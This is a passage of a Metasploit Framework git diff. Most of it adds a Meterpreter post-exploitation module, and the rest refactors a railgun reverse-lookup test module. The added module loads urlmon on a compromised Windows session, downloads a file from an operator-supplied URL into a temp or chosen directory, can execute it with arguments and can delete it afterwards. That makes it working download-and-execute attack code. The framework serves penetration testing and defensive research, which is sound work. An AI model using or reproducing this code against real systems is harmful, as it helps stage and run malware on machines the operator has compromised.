register_advanced_options( + [ + OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]), + OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]), + ], self.class) + + end + + # Check to see if our dll is loaded, load and configure if not + + def add_railgun_urlmon + + if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty? + session.railgun.add_dll('urlmon','urlmon') + session.railgun.add_function( + 'urlmon', 'URLDownloadToFileW', 'DWORD', + [ + ['PBLOB', 'pCaller', 'in'], + ['PWCHAR','szURL','in'], + ['PWCHAR','szFileName','in'], + ['DWORD','dwReserved','in'], + ['PBLOB','lpfnCB','inout'] + ]) + vprint_good("urlmon loaded and configured") + else + vprint_status("urlmon already loaded") + end + + end + + def run + + # Make sure we meet the requirements before running the script, note no need to return + # unless error + return 0 if session.type != "meterpreter" + + # get time + strtime = Time.now + + # check/set vars + url = datastore["URL"] + filename = datastore["FILENAME"] || url.split('/').last + + download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"]) + if download_path.nil? or download_path.empty? + path = session.fs.file.expand_path("%TEMP%") + else + path = download_path + end + + outpath = path + '\\' + filename + exec = datastore["EXECUTE"] + exec_string = datastore["EXEC_STRING"] || '' + output = datastore['OUTPUT'] + remove = datastore['DELETE'] + + # set up railgun + add_railgun_urlmon + + # get our file + vprint_status("Downloading #{url} to #{outpath}") + client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil) + + # check our results + begin + out = session.fs.file.stat(outpath) + print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ") + rescue + print_error("File not found. The download probably failed") + return + end + + # Execute file upon request + if exec + begin + cmd = outpath + ' ' + exec_string + + # If we don't have the following gsub, we get this error in Windows: + # "Operation failed: The system cannot find the file specified" + cmd = cmd.gsub(/\\/, '\\\\\\') + + print_status("Executing file: #{cmd}") + res = cmd_exec(cmd) + print_good(res) if output and not res.empty? + rescue ::Exception => e + print_error("Unable to execute: #{e.message}") + end + end + + # remove file if needed + if remove + begin + print_status("Deleting #{outpath}") + session.fs.file.rm(outpath) + rescue ::Exception => e + print_error("Unable to remove file: #{e.message}") + end + end + end +end \ No newline at end of file diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 513cebca38..5571f42373 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -1,4 +1,3 @@ - ## # $Id$ ## @@ -12,9 +11,12 @@ require 'msf/core' require 'rex' +require 'msf/core/post/windows/railgun' class Metasploit3 < Msf::Post + include Msf::Post::Windows::Railgun + def initialize(info={}) super( update_info( info, 'Name' => 'railgun_testing', @@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post [ OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]), OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]), - OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]), - OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]), + OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']), + OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']), ], self.class) end def run + print_debug datastore['ECREGEX'] print_status("Running against session #{datastore["SESSION"]}") print_status("Session type is #{session.type}") - @rg = session.railgun - print_status() - print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}") - results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX']) + print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}") + results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX']) print_status("RESULTS: #{results.class} #{results.pretty_inspect}") print_status() print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}") - results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX']) + results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX']) print_status("RESULTS: #{results.class} #{results.inspect}") print_status()